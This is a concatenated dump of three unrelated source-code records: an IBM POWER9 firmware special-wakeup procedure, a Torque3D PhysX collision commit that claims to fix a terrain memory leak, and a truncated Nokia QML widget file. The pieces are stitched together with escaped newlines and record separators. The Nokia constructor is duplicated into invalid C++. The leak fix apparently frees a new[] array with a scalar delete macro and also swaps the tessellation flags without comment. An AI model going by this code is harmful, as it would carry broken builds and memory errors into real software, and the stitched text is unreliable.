OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\n\/\/\/\n\/\/\/ @file : p9_cpu_special_wakeup_core.C\n\/\/\/ @brief : HWP to perform special wakeup of a core\n\n\/\/ *HWP HW Owner : Greg Still <stillgs@us.ibm.com>\n\/\/ *HWP FW Owner : Prem S Jha <premjha2@in.ibm.com>\n\/\/ *HWP Team : PM\n\/\/ *HWP Level : 3\n\/\/ *HWP Consumed by : OCC:FSP:HOST:CRO\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ Includes\n\/\/ -----------------------------------------------------------------------------\n#include <p9_cpu_special_wakeup.H>\n#include <p9_cpu_special_wakeup_lib.H>\n#include <p9_ppe_defs.H>\n#include <p9_ppe_utils.H>\n#include <p9n2_quad_scom_addresses.H>\n#include <p9n2_quad_scom_addresses_fld.H>\n\nfapi2::ReturnCode collectCoreTimeoutFailInfo( const fapi2::Target < fapi2::TARGET_TYPE_CORE>& i_target,\n ProcessingValues_t i_processing_info );\n\n\/\/\/ ----------------------------------------------------------------------------\n\/\/\/\n\/\/\/ @brief Sets a normal core chiplet into special wakeup state.\n\/\/\/ @param[in] i_target core target\n\/\/\/ @param[in] i_operation Special Wakeup Operation i.e. assert or deassert\n\/\/\/ @param[in] i_entity entity to be considered for special wakeup.\n\/\/\/ @return fapi2 return code.\n\/\/\/\nfapi2::ReturnCode p9_cpu_special_wakeup_core(\n const fapi2::Target < fapi2::TARGET_TYPE_CORE>& i_target,\n const p9specialWakeup::PROC_SPCWKUP_OPS i_operation,\n const p9specialWakeup::PROC_SPCWKUP_ENTITY i_entity )\n{\n FAPI_INF(\">> p9_cpu_special_wakeup_core\");\n fapi2::ReturnCode l_rc;\n fapi2::buffer<uint64_t> l_cpmmrRegVal;\n fapi2::buffer<uint64_t> l_lmcrRegVal;\n uint8_t l_spWakeUpInProg = 0;\n uint8_t l_corePos = 0;\n uint8_t l_autoSplWkUpBitPos = 12; \/\/EQ_CME_SCOM_LMCR_C0_AUTO_SPECIAL_WAKEUP_DISABLE\n uint8_t l_lmcr_fail_state = 0;\n\n ProcessingValues_t l_processing_info;\n auto l_eqTarget = i_target.getParent<fapi2::TARGET_TYPE_EQ>();\n auto l_exTarget = i_target.getParent<fapi2::TARGET_TYPE_EX>();\n\n FAPI_ATTR_GET( fapi2::ATTR_CHIP_UNIT_POS,\n i_target,\n l_corePos );\n\n l_autoSplWkUpBitPos = l_autoSplWkUpBitPos + ( l_corePos & 0x01) ;\n\n FAPI_ATTR_GET( fapi2::ATTR_CORE_INSIDE_SPECIAL_WAKEUP,\n i_target,\n l_spWakeUpInProg );\n\n \/\/ A special wakeup is already in progress. In all likelyhood, a special\n \/\/ wakeup has timed out and we are in FFDC collection path. During this\n \/\/ FFDC collection, we SCOMed a register which itself needs a special\n \/\/ wakeup.\n\n if( l_spWakeUpInProg )\n {\n FAPI_INF(\"exiting core recurssion\");\n return fapi2::FAPI2_RC_SUCCESS;\n }\n\n p9specialWakeup::blockWakeupRecurssion( l_eqTarget, p9specialWakeup::BLOCK );\n\n \/\/Not using FAPI TRY to avoid chances of RC corruption\n l_rc = getScom( i_target, P9N2_C_CPPM_CPMMR_SCOM, l_cpmmrRegVal );\n\n if( l_rc )\n {\n FAPI_ERR(\"Failed to SCOM CPMMR Reg, Core Pos %d\", l_corePos );\n return l_rc;\n }\n\n l_rc = getScom( l_exTarget, EX_CME_SCOM_LMCR_SCOM, l_lmcrRegVal );\n\n\n if( (l_rc) && (l_rc != (uint32_t)PIB_CHIPLET_OFFLINE_ERR ))\n {\n FAPI_ERR(\"Failed to SCOM LMCR Reg, EX Pos %d\", (l_corePos >> 1 ) );\n return l_rc;\n }\n else if ((l_rc) && (l_rc == (uint32_t)PIB_CHIPLET_OFFLINE_ERR ))\n {\n l_rc = fapi2::FAPI2_RC_SUCCESS;\n l_lmcr_fail_state = 1;\n }\n\n if( !l_lmcrRegVal.getBit( l_autoSplWkUpBitPos ) &&\n !l_lmcr_fail_state)\n {\n if( l_cpmmrRegVal.getBit( P9N2_EX_CPPM_CPMMR_WKUP_NOTIFY_SELECT ) )\n {\n \/\/If auto special wakeup is enabled and Special wakeup signal is not\n \/\/getting routed towards CME, let us route it towards CME so that\n \/\/CME HW asserts DONE bit without CME Firmware's intervention.\n FAPI_DBG(\"Enabling Auto Special Wakeup For Core %d\", l_corePos );\n\n l_cpmmrRegVal.clearBit( P9N2_EX_CPPM_CPMMR_WKUP_NOTIFY_SELECT );\n putScom( i_target, P9N2_C_CPPM_CPMMR_SCOM, l_cpmmrRegVal );\n }\n }\n\n l_rc = _special_wakeup<fapi2::TARGET_TYPE_CORE> (\n i_target,\n i_operation,\n i_entity,\n l_processing_info );\n\n if( l_rc == (uint32_t)fapi2::RC_INTERNAL_SPCWKUP_TIMEOUT )\n {\n collectCoreTimeoutFailInfo( i_target, l_processing_info );\n }\n\n p9specialWakeup::blockWakeupRecurssion( l_eqTarget, p9specialWakeup::UNBLOCK );\n\n FAPI_INF(\"<< p9_cpu_special_wakeup_core\" );\n return fapi2::current_err;\n}\n\n\/\/ -----------------------------------------------------------------------------\n\n\/\/\/\n\/\/\/ @brief Collect FFDC for EQ Special Wakeup timeout\n\/\/\/ @param[in] i_target core target\n\/\/\/ @param[in] i_operation info pertaining to special wakeup\n\/\/\/ @return fapi2 return code.\n\/\/\/\nfapi2::ReturnCode collectCoreTimeoutFailInfo( const fapi2::Target < fapi2::TARGET_TYPE_CORE>& i_target,\n ProcessingValues_t i_processing_info )\n{\n FAPI_INF(\">> collectCoreTimeoutFailInfo\" );\n fapi2::buffer<uint64_t> l_CPMMR;\n fapi2::buffer<uint64_t> l_GPMMR;\n fapi2::buffer<uint64_t> l_spWakeupRegVal;\n fapi2::buffer<uint64_t> l_histRegVal;\n\n fapi2::getScom( i_target, C_CPPM_CPMMR, l_CPMMR );\n fapi2::getScom( i_target, C_PPM_GPMMR_SCOM, l_GPMMR );\n fapi2::getScom( i_target, i_processing_info.spwkup_address[0], l_spWakeupRegVal );\n fapi2::getScom( i_target, i_processing_info.history_address[0], l_histRegVal );\n fapi2::Target < fapi2::TARGET_TYPE_EX> parentExTgt = i_target.getParent <fapi2::TARGET_TYPE_EX>();\n uint8_t l_exPos = 0;\n FAPI_ATTR_GET( fapi2::ATTR_CHIP_UNIT_POS, parentExTgt, l_exPos );\n\n std::vector<uint64_t> l_cmeBaseAddress;\n std::vector<uint64_t> l_sgpeBaseAddress;\n l_sgpeBaseAddress.push_back( SGPE_BASE_ADDRESS );\n l_cmeBaseAddress.push_back( getCmeBaseAddress( l_exPos ) );\n\n FAPI_ASSERT( false ,\n fapi2::SPCWKUP_CORE_TIMEOUT().\n set_POLLCOUNT( i_processing_info.poll_count ).\n set_SP_WKUP_REG_VALUE( l_spWakeupRegVal ).\n set_HISTORY_VALUE( l_histRegVal ).\n set_ENTITY( i_processing_info.entity ).\n set_CPMMR( l_CPMMR ).\n set_GPMMR( l_GPMMR ).\n set_EQ_TARGET( i_target.getParent <fapi2::TARGET_TYPE_EQ>() ).\n set_EX_TARGET( parentExTgt ).\n set_CORE_TARGET( i_target ).\n set_PROC_CHIP_TARGET( i_processing_info.procTgt ).\n set_CME_BASE_ADDRESS( l_cmeBaseAddress ).\n set_SGPE_BASE_ADDRESS( l_sgpeBaseAddress ).\n set_CME_STATE_MODE( XIRS ).\n set_SGPE_STATE_MODE( XIRS ),\n \"Timed Out In Setting Core Special Wakeup\");\nfapi_try_exit:\n FAPI_INF(\"<< collectCoreTimeoutFailInfo\" );\n return fapi2::current_err;\n}\n\/\/ -----------------------------------------------------------------------------\n\/\/\/ @param[in] i_chipletTarget core target\n\/\/\/ @param[in] i_processing_info struct storing processing info\n\/\/\/ @param[in] i_msgId Id pertaining to debug message string.\n\/\/\/ @return fapi2 return code.\nfapi2::ReturnCode spwkup_deassert( const fapi2::Target<fapi2::TARGET_TYPE_CORE>& i_chipletTarget,\n const ProcessingValues_t i_processing_info,\n p9specialWakeup::SpecialWakeUpMsg i_msgId )\n{\n FAPI_INF(\"> spwkup_deassert Core\" );\n\n uint64_t l_address = i_processing_info.spwkup_address[0];\n FAPI_TRY(_spwkup_deassert(i_chipletTarget, l_address, i_msgId));\n\nfapi_try_exit:\n FAPI_INF(\"< spwkup_deassert Core\" );\n return fapi2::current_err;\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/\/\/\n\/\/\/ @brief Set addresses for a core target type\n\/\/\/ @param[in] i_target core target\n\/\/\/ @param[in] i_structure struct storing processing info\n\/\/\/ @param[in] i_entity entity to be considered for special wakeup.\n\/\/\/ @return fapi2 return code.\n\/\/\/\ntemplate<>\nfapi2::ReturnCode set_addresses(const fapi2::Target<fapi2::TARGET_TYPE_CORE>& i_target,\n ProcessingValues_t& i_structure,\n const uint32_t i_entity )\n{\n FAPI_INF(\">> set_addresses for Core\");\n\n uint8_t l_core_num = 0;\n\n FAPI_TRY(FAPI_ATTR_GET( fapi2::ATTR_CHIP_UNIT_POS, i_target, l_core_num),\n \"fapiGetAttribute of ATTR_CHIP_UNIT_POS\");\n\n FAPI_DBG(\"Core %d being procesed.\", l_core_num);\n\n i_structure.spwkup_address[0] = SPCWKUP_ADDR[i_entity][p9specialWakeup::SPW_CORE]\n + 0x01000000 * l_core_num;\n i_structure.history_address[0] = SPCWKUP_HIST_ADDR[i_entity][p9specialWakeup::SPW_CORE]\n + 0x01000000 * l_core_num;\n i_structure.netctrl_address[0] = SPCWKUP_NETCTRL0_ADDR[p9specialWakeup::SPW_CORE]\n + 0x01000000 * l_core_num;\n i_structure.gpmmr_address[0] = SPCWKUP_GPMMR_ADDR[p9specialWakeup::SPW_CORE]\n + 0x01000000 * l_core_num;\n i_structure.num_addresses = 1;\n\n FAPI_DBG(\"i_structure.spwkup_address[%d] = 0x%08llX \\n \"\n \"i_structure.history_address[%d] = 0x%08llX \\n \"\n \"i_structure.netctrl_address[%d] = 0x%08llX \\n \"\n \"i_structure.gpmmr_addresss[%d] = 0x%08llX \\n \" ,\n 0, i_structure.spwkup_address[0],\n 0, i_structure.history_address[0],\n 0, i_structure.netctrl_address[0],\n 0, i_structure.gpmmr_address[0]);\n\nfapi_try_exit:\n FAPI_INF(\"<< set_addresses for Core\");\n return fapi2::current_err;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/-----------------------------------------------------------------------------\n\/\/ Copyright (c) 2012 GarageGames, LLC\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to\n\/\/ deal in the Software without restriction, including without limitation the\n\/\/ rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n\/\/ sell copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n\/\/ IN THE SOFTWARE.\n\/\/-----------------------------------------------------------------------------\n\n#include \"platform\/platform.h\"\n#include \"T3D\/physics\/physx3\/px3Collision.h\"\n\n#include \"math\/mPoint3.h\"\n#include \"math\/mMatrix.h\"\n#include \"T3D\/physics\/physx3\/px3.h\"\n#include \"T3D\/physics\/physx3\/px3Casts.h\"\n#include \"T3D\/physics\/physx3\/px3World.h\"\n#include \"T3D\/physics\/physx3\/px3Stream.h\"\n\n\nPx3Collision::Px3Collision()\n{\n}\n\nPx3Collision::~Px3Collision()\n{\n\t\n\tfor ( U32 i=0; i < mColShapes.size(); i++ )\n\t{\n\t\tPx3CollisionDesc *desc = mColShapes[i];\n\t\tdelete desc->pGeometry;\n\t\t\/\/ Delete the descriptor.\n\t\tdelete desc;\n\t}\n\n\tmColShapes.clear();\n}\n\nvoid Px3Collision::addPlane( const PlaneF &plane )\n{\n\tphysx::PxVec3 pos = px3Cast<physx::PxVec3>(plane.getPosition());\n\tPx3CollisionDesc *desc = new Px3CollisionDesc;\n desc->pGeometry = new physx::PxPlaneGeometry();\n desc->pose = physx::PxTransform(pos, physx::PxQuat(physx::PxHalfPi, physx::PxVec3(0.0f, -1.0f, 0.0f)));\n\tmColShapes.push_back(desc);\n}\n\nvoid Px3Collision::addBox( const Point3F &halfWidth,const MatrixF &localXfm )\n{\n\tPx3CollisionDesc *desc = new Px3CollisionDesc;\n\tdesc->pGeometry = new physx::PxBoxGeometry(px3Cast<physx::PxVec3>(halfWidth));\n\tdesc->pose = px3Cast<physx::PxTransform>(localXfm);\n\tmColShapes.push_back(desc);\n}\n\nvoid Px3Collision::addSphere( F32 radius,\n const MatrixF &localXfm )\n{\n\tPx3CollisionDesc *desc = new Px3CollisionDesc;\n\tdesc->pGeometry = new physx::PxSphereGeometry(radius);\n\tdesc->pose = px3Cast<physx::PxTransform>(localXfm);\n\tmColShapes.push_back(desc);\n}\n\nvoid Px3Collision::addCapsule( F32 radius,\n F32 height,\n const MatrixF &localXfm )\n{\n\tPx3CollisionDesc *desc = new Px3CollisionDesc;\n\tdesc->pGeometry = new physx::PxCapsuleGeometry(radius,height*0.5);\/\/uses half height\n\tdesc->pose = px3Cast<physx::PxTransform>(localXfm);\n\tmColShapes.push_back(desc);\n}\n\nbool Px3Collision::addConvex( const Point3F *points, \n U32 count,\n const MatrixF &localXfm )\n{\n\tphysx::PxCooking *cooking = Px3World::getCooking();\n\tphysx::PxConvexMeshDesc convexDesc;\n\tconvexDesc.points.data = points;\n\tconvexDesc.points.stride = sizeof(Point3F);\n\tconvexDesc.points.count = count;\n\tconvexDesc.flags = physx::PxConvexFlag::eFLIPNORMALS|physx::PxConvexFlag::eCOMPUTE_CONVEX | physx::PxConvexFlag::eINFLATE_CONVEX;\n\n\tPx3MemOutStream stream;\n\tif(!cooking->cookConvexMesh(convexDesc,stream))\n\t\treturn false;\n\n\tphysx::PxConvexMesh* convexMesh;\n\tPx3MemInStream in(stream.getData(), stream.getSize());\n\tconvexMesh = gPhysics3SDK->createConvexMesh(in);\n\n\tPx3CollisionDesc *desc = new Px3CollisionDesc;\n physx::PxVec3 scale = px3Cast<physx::PxVec3>(localXfm.getScale());\n physx::PxQuat rotation = px3Cast<physx::PxQuat>(QuatF(localXfm));\n physx::PxMeshScale meshScale(scale,rotation);\n\tdesc->pGeometry = new physx::PxConvexMeshGeometry(convexMesh,meshScale);\n\tdesc->pose = px3Cast<physx::PxTransform>(localXfm);\n\tmColShapes.push_back(desc);\n\treturn true;\n}\n\nbool Px3Collision::addTriangleMesh( const Point3F *vert,\n U32 vertCount,\n const U32 *index,\n U32 triCount,\n const MatrixF &localXfm )\n{\n\tphysx::PxCooking *cooking = Px3World::getCooking();\n\tphysx::PxTriangleMeshDesc meshDesc;\n\tmeshDesc.points.count = vertCount;\n\tmeshDesc.points.data = vert;\n\tmeshDesc.points.stride = sizeof(Point3F);\n\n\tmeshDesc.triangles.count = triCount;\n\tmeshDesc.triangles.data = index;\n\tmeshDesc.triangles.stride = 3*sizeof(U32);\n\tmeshDesc.flags = physx::PxMeshFlag::eFLIPNORMALS;\n\n\tPx3MemOutStream stream;\n\tif(!cooking->cookTriangleMesh(meshDesc,stream))\n\t\treturn false;\n\n\tphysx::PxTriangleMesh *mesh;\n\tPx3MemInStream in(stream.getData(), stream.getSize());\n\tmesh = gPhysics3SDK->createTriangleMesh(in);\n\n\tPx3CollisionDesc *desc = new Px3CollisionDesc;\n\tdesc->pGeometry = new physx::PxTriangleMeshGeometry(mesh);\n\tdesc->pose = px3Cast<physx::PxTransform>(localXfm);\n\tmColShapes.push_back(desc);\n\treturn true;\n}\n\nbool Px3Collision::addHeightfield( const U16 *heights,\n const bool *holes,\n U32 blockSize,\n F32 metersPerSample,\n const MatrixF &localXfm )\n{\n\tconst F32 heightScale = 0.03125f;\n\tphysx::PxHeightFieldSample* samples = (physx::PxHeightFieldSample*) new physx::PxHeightFieldSample[blockSize*blockSize];\n\tmemset(samples,0,blockSize*blockSize*sizeof(physx::PxHeightFieldSample));\n\n\tphysx::PxHeightFieldDesc heightFieldDesc;\n\theightFieldDesc.nbColumns = blockSize;\n\theightFieldDesc.nbRows = blockSize;\n\theightFieldDesc.thickness = -10.f;\n\theightFieldDesc.convexEdgeThreshold = 0;\n\theightFieldDesc.format = physx::PxHeightFieldFormat::eS16_TM;\n\theightFieldDesc.samples.data = samples;\n\theightFieldDesc.samples.stride = sizeof(physx::PxHeightFieldSample);\n\n\tphysx::PxU8 *currentByte = (physx::PxU8*)heightFieldDesc.samples.data;\n for ( U32 row = 0; row < blockSize; row++ ) \n { \n const U32 tess = ( row + 1 ) % 2;\n\n for ( U32 column = 0; column < blockSize; column++ ) \n {\n physx::PxHeightFieldSample *currentSample = (physx::PxHeightFieldSample*)currentByte;\n\n U32 index = ( blockSize - row - 1 ) + ( column * blockSize );\n currentSample->height = (physx::PxI16)heights[ index ];\n\n\n if ( holes && holes[ getMax( (S32)index - 1, 0 ) ] ) \/\/ row index for holes adjusted so PhysX collision shape better matches rendered terrain\n {\n currentSample->materialIndex0 = physx::PxHeightFieldMaterial::eHOLE;\n currentSample->materialIndex1 = physx::PxHeightFieldMaterial::eHOLE;\n }\n else\n {\n currentSample->materialIndex0 = 0;\n currentSample->materialIndex1 = 0;\n }\n\n\t\tint flag = ( column + tess ) % 2;\n\t\tif(flag)\n\t\t\tcurrentSample->setTessFlag();\n\t\telse\n\t\t\tcurrentSample->clearTessFlag();\n\n currentByte += heightFieldDesc.samples.stride; \n }\n }\n\n\tphysx::PxHeightField * hf = gPhysics3SDK->createHeightField(heightFieldDesc);\n\tphysx::PxHeightFieldGeometry *geom = new physx::PxHeightFieldGeometry(hf,physx::PxMeshGeometryFlags(),heightScale,metersPerSample,metersPerSample);\n\t\t\n\tphysx::PxTransform pose= physx::PxTransform(physx::PxQuat(Float_HalfPi, physx::PxVec3(1, 0, 0 )));\n\tphysx::PxTransform pose1= physx::PxTransform(physx::PxQuat(Float_Pi, physx::PxVec3(0, 0, 1 )));\n\tphysx::PxTransform pose2 = pose1 * pose;\n\tpose2.p = physx::PxVec3(( blockSize - 1 ) * metersPerSample, 0, 0 );\n\tPx3CollisionDesc *desc = new Px3CollisionDesc;\n\tdesc->pGeometry = geom;\n\tdesc->pose = pose2;\n\n\tmColShapes.push_back(desc);\n\treturn true;\n}\n<commit_msg>- Fixed memory leak when creating terrain with physx 3<commit_after>\/\/-----------------------------------------------------------------------------\n\/\/ Copyright (c) 2012 GarageGames, LLC\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to\n\/\/ deal in the Software without restriction, including without limitation the\n\/\/ rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n\/\/ sell copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n\/\/ IN THE SOFTWARE.\n\/\/-----------------------------------------------------------------------------\n\n#include \"platform\/platform.h\"\n#include \"T3D\/physics\/physx3\/px3Collision.h\"\n\n#include \"math\/mPoint3.h\"\n#include \"math\/mMatrix.h\"\n#include \"T3D\/physics\/physx3\/px3.h\"\n#include \"T3D\/physics\/physx3\/px3Casts.h\"\n#include \"T3D\/physics\/physx3\/px3World.h\"\n#include \"T3D\/physics\/physx3\/px3Stream.h\"\n\n\nPx3Collision::Px3Collision()\n{\n}\n\nPx3Collision::~Px3Collision()\n{\n\t\n\tfor ( U32 i=0; i < mColShapes.size(); i++ )\n\t{\n\t\tPx3CollisionDesc *desc = mColShapes[i];\n\t\tdelete desc->pGeometry;\n\t\t\/\/ Delete the descriptor.\n\t\tdelete desc;\n\t}\n\n\tmColShapes.clear();\n}\n\nvoid Px3Collision::addPlane( const PlaneF &plane )\n{\n\tphysx::PxVec3 pos = px3Cast<physx::PxVec3>(plane.getPosition());\n\tPx3CollisionDesc *desc = new Px3CollisionDesc;\n desc->pGeometry = new physx::PxPlaneGeometry();\n desc->pose = physx::PxTransform(pos, physx::PxQuat(physx::PxHalfPi, physx::PxVec3(0.0f, -1.0f, 0.0f)));\n\tmColShapes.push_back(desc);\n}\n\nvoid Px3Collision::addBox( const Point3F &halfWidth,const MatrixF &localXfm )\n{\n\tPx3CollisionDesc *desc = new Px3CollisionDesc;\n\tdesc->pGeometry = new physx::PxBoxGeometry(px3Cast<physx::PxVec3>(halfWidth));\n\tdesc->pose = px3Cast<physx::PxTransform>(localXfm);\n\tmColShapes.push_back(desc);\n}\n\nvoid Px3Collision::addSphere( F32 radius,\n const MatrixF &localXfm )\n{\n\tPx3CollisionDesc *desc = new Px3CollisionDesc;\n\tdesc->pGeometry = new physx::PxSphereGeometry(radius);\n\tdesc->pose = px3Cast<physx::PxTransform>(localXfm);\n\tmColShapes.push_back(desc);\n}\n\nvoid Px3Collision::addCapsule( F32 radius,\n F32 height,\n const MatrixF &localXfm )\n{\n\tPx3CollisionDesc *desc = new Px3CollisionDesc;\n\tdesc->pGeometry = new physx::PxCapsuleGeometry(radius,height*0.5);\/\/uses half height\n\tdesc->pose = px3Cast<physx::PxTransform>(localXfm);\n\tmColShapes.push_back(desc);\n}\n\nbool Px3Collision::addConvex( const Point3F *points, \n U32 count,\n const MatrixF &localXfm )\n{\n\tphysx::PxCooking *cooking = Px3World::getCooking();\n\tphysx::PxConvexMeshDesc convexDesc;\n\tconvexDesc.points.data = points;\n\tconvexDesc.points.stride = sizeof(Point3F);\n\tconvexDesc.points.count = count;\n\tconvexDesc.flags = physx::PxConvexFlag::eFLIPNORMALS|physx::PxConvexFlag::eCOMPUTE_CONVEX | physx::PxConvexFlag::eINFLATE_CONVEX;\n\n\tPx3MemOutStream stream;\n\tif(!cooking->cookConvexMesh(convexDesc,stream))\n\t\treturn false;\n\n\tphysx::PxConvexMesh* convexMesh;\n\tPx3MemInStream in(stream.getData(), stream.getSize());\n\tconvexMesh = gPhysics3SDK->createConvexMesh(in);\n\n\tPx3CollisionDesc *desc = new Px3CollisionDesc;\n physx::PxVec3 scale = px3Cast<physx::PxVec3>(localXfm.getScale());\n physx::PxQuat rotation = px3Cast<physx::PxQuat>(QuatF(localXfm));\n physx::PxMeshScale meshScale(scale,rotation);\n\tdesc->pGeometry = new physx::PxConvexMeshGeometry(convexMesh,meshScale);\n\tdesc->pose = px3Cast<physx::PxTransform>(localXfm);\n\tmColShapes.push_back(desc);\n\treturn true;\n}\n\nbool Px3Collision::addTriangleMesh( const Point3F *vert,\n U32 vertCount,\n const U32 *index,\n U32 triCount,\n const MatrixF &localXfm )\n{\n\tphysx::PxCooking *cooking = Px3World::getCooking();\n\tphysx::PxTriangleMeshDesc meshDesc;\n\tmeshDesc.points.count = vertCount;\n\tmeshDesc.points.data = vert;\n\tmeshDesc.points.stride = sizeof(Point3F);\n\n\tmeshDesc.triangles.count = triCount;\n\tmeshDesc.triangles.data = index;\n\tmeshDesc.triangles.stride = 3*sizeof(U32);\n\tmeshDesc.flags = physx::PxMeshFlag::eFLIPNORMALS;\n\n\tPx3MemOutStream stream;\n\tif(!cooking->cookTriangleMesh(meshDesc,stream))\n\t\treturn false;\n\n\tphysx::PxTriangleMesh *mesh;\n\tPx3MemInStream in(stream.getData(), stream.getSize());\n\tmesh = gPhysics3SDK->createTriangleMesh(in);\n\n\tPx3CollisionDesc *desc = new Px3CollisionDesc;\n\tdesc->pGeometry = new physx::PxTriangleMeshGeometry(mesh);\n\tdesc->pose = px3Cast<physx::PxTransform>(localXfm);\n\tmColShapes.push_back(desc);\n\treturn true;\n}\n\nbool Px3Collision::addHeightfield( const U16 *heights,\n const bool *holes,\n U32 blockSize,\n F32 metersPerSample,\n const MatrixF &localXfm )\n{\n\tconst F32 heightScale = 0.03125f;\n\tphysx::PxHeightFieldSample* samples = (physx::PxHeightFieldSample*) new physx::PxHeightFieldSample[blockSize*blockSize];\n\tmemset(samples,0,blockSize*blockSize*sizeof(physx::PxHeightFieldSample));\n\n\tphysx::PxHeightFieldDesc heightFieldDesc;\n\theightFieldDesc.nbColumns = blockSize;\n\theightFieldDesc.nbRows = blockSize;\n\theightFieldDesc.thickness = -10.f;\n\theightFieldDesc.convexEdgeThreshold = 0;\n\theightFieldDesc.format = physx::PxHeightFieldFormat::eS16_TM;\n\theightFieldDesc.samples.data = samples;\n\theightFieldDesc.samples.stride = sizeof(physx::PxHeightFieldSample);\n\n\tphysx::PxU8 *currentByte = (physx::PxU8*)heightFieldDesc.samples.data;\n for ( U32 row = 0; row < blockSize; row++ ) \n { \n const U32 tess = ( row + 1 ) % 2;\n\n for ( U32 column = 0; column < blockSize; column++ ) \n {\n physx::PxHeightFieldSample *currentSample = (physx::PxHeightFieldSample*)currentByte;\n\n U32 index = ( blockSize - row - 1 ) + ( column * blockSize );\n currentSample->height = (physx::PxI16)heights[ index ];\n\n\n if ( holes && holes[ getMax( (S32)index - 1, 0 ) ] ) \/\/ row index for holes adjusted so PhysX collision shape better matches rendered terrain\n {\n currentSample->materialIndex0 = physx::PxHeightFieldMaterial::eHOLE;\n currentSample->materialIndex1 = physx::PxHeightFieldMaterial::eHOLE;\n }\n else\n {\n currentSample->materialIndex0 = 0;\n currentSample->materialIndex1 = 0;\n }\n\n\t\tint flag = ( column + tess ) % 2;\n\t\tif(flag)\n\t\t\tcurrentSample->clearTessFlag();\n\t\telse\n\t\t\tcurrentSample->setTessFlag();\n\n currentByte += heightFieldDesc.samples.stride; \n }\n }\n\n\tphysx::PxHeightField * hf = gPhysics3SDK->createHeightField(heightFieldDesc);\n\tphysx::PxHeightFieldGeometry *geom = new physx::PxHeightFieldGeometry(hf,physx::PxMeshGeometryFlags(),heightScale,metersPerSample,metersPerSample);\n\t\t\n\tphysx::PxTransform pose= physx::PxTransform(physx::PxQuat(Float_HalfPi, physx::PxVec3(1, 0, 0 )));\n\tphysx::PxTransform pose1= physx::PxTransform(physx::PxQuat(Float_Pi, physx::PxVec3(0, 0, 1 )));\n\tphysx::PxTransform pose2 = pose1 * pose;\n\tpose2.p = physx::PxVec3(( blockSize - 1 ) * metersPerSample, 0, 0 );\n\tPx3CollisionDesc *desc = new Px3CollisionDesc;\n\tdesc->pGeometry = geom;\n\tdesc->pose = pose2;\n\n\tmColShapes.push_back(desc);\n\n SAFE_DELETE(samples);\n\treturn true;\n}\n<|endoftext|>"} {"text":"<commit_before>\/***************************************************************************\n**\n** Copyright (C) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Karoliina T. Salminen <karoliina.t.salminen@nokia.com>\n**\n** This file is part of duicontrolpanel.\n**\n**\n** This library is free software; you can redistribute it and\/or\n** modify it under the terms of the GNU Lesser General Public\n** License version 2.1 as published by the Free Software Foundation\n** and appearing in the file LICENSE.LGPL included in the packaging\n** of this file.\n**\n****************************************************************************\/\n\n#include \"dcpqmlwidget.h\"\n\n#include <MLabel>\n#include <dcpdebug.h>\n#include <QGraphicsLinearLayout>\n#include <QDeclarativeError>\n#include <QDeclarativeEngine>\n#include <QDeclarativeComponent>\n#include <QDeclarativeItem>\n#include <MApplicationPage>\n#include <QGraphicsSceneResizeEvent>\n#include <QDebug>\n\nDcpQmlWidget::DcpQmlWidget(const QString& qmlPath):\n m_Object (0),\n m_HandlesItsOwnWindow (false)\n\nDcpQmlWidget::DcpQmlWidget(const QString& qmlPath)\n{\n \/\/ for the error labels:\n new QGraphicsLinearLayout(Qt::Vertical, this);\n\n \/\/ get as much space as possible:\n setSizePolicy (QSizePolicy::Expanding, QSizePolicy::Expanding);\n\n \/\/ create the qml widget:\n QDeclarativeEngine *engine = new QDeclarativeEngine (this);\n QDeclarativeComponent component(engine, QUrl::fromLocalFile(qmlPath));\n m_Object =\n qobject_cast<QGraphicsObject *>(component.create());\n if (m_Object) {\n \/\/ all fine, make it visible\n m_Object->setParentItem (this);\n m_HandlesItsOwnWindow =\n QString(m_Object->metaObject()->className()).startsWith (\"PageStackWindow_\");\n\n if (handlesItsOwnWindow()) {\n } else {\n setPreferredSize (m_Object->boundingRect().size());\n enableAutoTitle();\n }\n } else {\n \/\/ error happened\n createErrorLabel (QString(\"Error loading %1\").arg(qmlPath));\n foreach (QDeclarativeError error, component.errors()) {\n createErrorLabel (error.toString());\n }\n }\n}\n\nvoid 